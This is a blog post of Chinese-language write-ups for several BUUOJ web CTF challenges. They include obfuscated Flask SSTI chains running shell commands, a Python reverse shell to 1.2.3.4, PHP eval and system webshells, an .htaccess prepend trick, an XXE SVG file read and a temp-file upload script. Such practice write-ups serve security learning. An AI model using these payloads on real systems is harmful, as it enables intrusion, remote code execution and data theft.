[pasecactf_2019]flask_ssti

直接输入{{config}},得到了一个看起来像flag的东西

image.png

不过应该不是flag,进行常规的命令操作

单引号被过滤了,用双引号代替

应该是很多的字符都被过滤了

注意到提示

image.png

可能可以用Unicode绕过。

读取源码

{{[]["u005fu005fu0063u006cu0061u0073u0073u005fu005f"]["u005fu005fu0062u0061u0073u0065u0073u005fu005f"][0]["u005fu005fu0073u0075u0062u0063u006cu0061u0073u0073u0065u0073u005fu005f"]()[79]["u005fu005fu0069u006eu0069u0074u005fu005f"]["u005fu005fu0067u006cu006fu0062u0061u006cu0073u005fu005f"]["u005fu005fu0062u0075u0069u006cu0074u0069u006eu0073u005fu005f"]["u0065u0076u0061u006c"]("u005fu005fu0069u006du0070u006fu0072u0074u005fu005fu0028u0027u006fu0073u0027u0029u002eu0070u006fu0070u0065u006eu0028u0027 cat u0061u0070u0070u002eu0070u0079 u0027u0029u002eu0072u0065u0061u0064u0028u0029")}}

注意这个Payload里面,cat的前后我特意加上了空格来标识,实际Payload主体和[RootersCTF2019]I_<3_Flask差不多。

分析源码

import random
from flask import Flask, render_template_string, render_template, request
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'

#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]

app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""

os.remove("/app/flag")

是通过remove的方式来进行操作。所以我们应该可以通过文件描述符的方式来读取flag

{{[]["u005fu005fu0063u006cu0061u0073u0073u005fu005f"]["u005fu005fu0062u0061u0073u0065u0073u005fu005f"][0]["u005fu005fu0073u0075u0062u0063u006cu0061u0073u0073u0065u0073u005fu005f"]()[79]["u005fu005fu0069u006eu0069u0074u005fu005f"]["u005fu005fu0067u006cu006fu0062u0061u006cu0073u005fu005f"]["u005fu005fu0062u0075u0069u006cu0074u0069u006eu0073u005fu005f"]["u0065u0076u0061u006c"]("u005fu005fu0069u006du0070u006fu0072u0074u005fu005fu0028u0027u006fu0073u0027u0029u002eu0070u006fu0070u0065u006eu0028u0027 cat /proc/self/fd/3 u0027u0029u002eu0072u0065u0061u0064u0028u0029")}}

但是读取不出来,看样子只能计算答案了

根据{{config}}得到变换后的flag

-M7x10w@393Sw6{x0eM_9R(Dx1fx1c]x17 mRex02Ux12[wWx+x15kx10[IG

变换函数

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

变换key

app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')

由于使用异或进行变换,所以相同程序直接逆变换即可

image.png

[网鼎杯 2020 半决赛]AliceWebsite

任意文件读取,直接读取flag

[网鼎杯 2020 半决赛]BabyJS

这篇文章

[网鼎杯 2020 白虎组]PicDown

任意文件下载

首先下载/proc/self/cmdline,得知是Python后端。

python2 app.py

然后下载app.py,得到源代码

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

给了一个shell,密码用文件读取描述符/proc/self/fd/3获得,最后Python反弹shell。

python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",5));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);%27
image.png

[GXYCTF2019]StrongestMind

成功1000次就有flag了,那么我们写个脚本来解决这个问题

import requests
import time

url = 'http://027ba220-fea2-4458-a12a-844e4829b112.node3.buuoj.cn/index.php'

def send_answer(sess,ans):
    #print(ans)
    #return 'flag'
    req = sess.post(url=url,data={"answer":ans})
    req.encoding = req.apparent_encoding
    if '1000' in req.text or '999' in req.text or '1001' in req.text:
        print(req.text)
    return eval(req.text.split("<br><br><form")[0].split('flag呦<br><br>')[1])

if __name__ == '__main__':
    sess = requests.session()
    for i in range(1002):
        print("{0}".format(i))
        ans = send_answer(sess,ans)
        time.sleep(0.15)
image.png

[SUCTF 2018]GetShell

无字母数字php shell编写;操作方式同这里[极客大挑战 2019]RCE ME

经过尝试,得出上传内容是以下的内容时可以上传

<?=@$_=[]==[];$__=_.~课[$_].~尬[$_].~笔[$_].~端[$_];(~茉[$_].~内[$_].~茉[$_].~苏[$_].~的[$_].~咩[$_])($__[~瞎[$_]]);

//相当于system($_POST[a]);

然后env得到环境变量中的flag

[BSidesCF 2019]SVGMagic

没啥提示,估计要用扫描器

然后没扫出来啥东西,随便render下感受了,猜测是Python后端或者是Node后端。

然后就不明所以,去百度了下得到了这篇文章,不过试了试好像不行。

然后查题解去了,知道了是XXE配合SVG。水平还是too young。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>
image.png

下面的flag是图片形式的,需要手动敲进去。

[XNUCA2019Qualifier]EasyPHP

给了源码

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "nJust one chance");
?>

试了下,没法执行php代码,但是可以执行HTMLXMLJS代码。

不过结合题目,应该还是有办法执行的。

然后随便写了个.htaccess文件,服务器就炸了

推测可能就是通过类似的配置文件来实现的只有index.php可以被执行吧,那就应该是通过写.htaccess来操作shell了。

过滤没啥想法,上网查了下题解,可以通过斜杠支持多行注释从而达到写shell的效果,同时屏蔽后面的多余字符。

php_value auto_prepend_fi
le ".htaccess"
#<?php eval($_POST[a]);?>
image.png
image.png

[NPUCTF2020]ezinclude

进入之后提示我error,然后F12看下内容

image.png

Cookie里面也存在一个Hash,猜测是secret的编码,去解密下,然后查不到

不过可以猜测可能是哈希长度拓展攻击,先用HashPump试试

不过没给消息长度,所以就很奇特;最后猜了一堆才发现是GET里面传参,name为空,passCookie的哈希值就行了。感觉猜参数很没劲。

image.png

然后立刻404了,用Burpsuite卡住发现是个文件包含,而且看起来没过滤,那么直接包含就完事了。

image.png
php://filter/convert.base64-decode/resource=php://input

<?php phpinfo?>

然后就有过滤了。。。

image.png

换个操作方式试试

image.png

试试读取点别的

image.png

可惜挂载点中没有flag的挂载点;那么应该要想想别的办法。

普通文件包含下:

/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
    die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
index.php

<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
    echo '<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
    </script>
';
}else{
    setcookie("Hash",md5($secret.$name),time()+3600000);
    echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>
config.php

<?php
$secret='%^
 
amp;$#fffdflag_is_not_here_ha_ha'; ?>

然后不会了,查题解去,然后知道了有个文件叫dir.php(。。。这个只能动用一些比较别致的扫描器才能扫出来)

然后就是PHP临时文件读写的bug就完事了。

抄个脚本

import requests
from io import BytesIO
payload = "<?php eval($_POST[a]);?>"
data={
   'file': BytesIO(payload.encode())
}
url="http://4be2c7ce-1dea-4fc0-ad5e-ee6bba91e569.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
   r=requests.post(url=url,files=data,allow_redirects=False)
except:
        print("fail!")
image.png

上传完shell之后蚁剑连接,PHP7_GC_UAF绕过一下,得到shell。

image.png

然后查了下题解,原来是写到了phpinfo()里面。。。

image.png

不能用蚁剑的phpinfo(),那个没法显示,挺奇怪的。。。

bestphp's revenge

给了源代码

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

其实网站下面还有一个是flag.php,这个页面也给了部分代码,如下:

only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } 
only localhost can get flag! 

这里需要使用SSRF拿到flag

然后不是很明白这个逻辑,于是去查了下题解,知道了是SOAP的问题

然后就思考怎么做:

首先我们得知道,执行reset($_SESSION),执行结果是$_SESSION['name']

然后我们可以用session_start(['serialize_handler'=>'php_serialize']);来调整序列化方法,从而实现错误的反序列化攻击

It is my final heart.
最后更新于 2022-07-24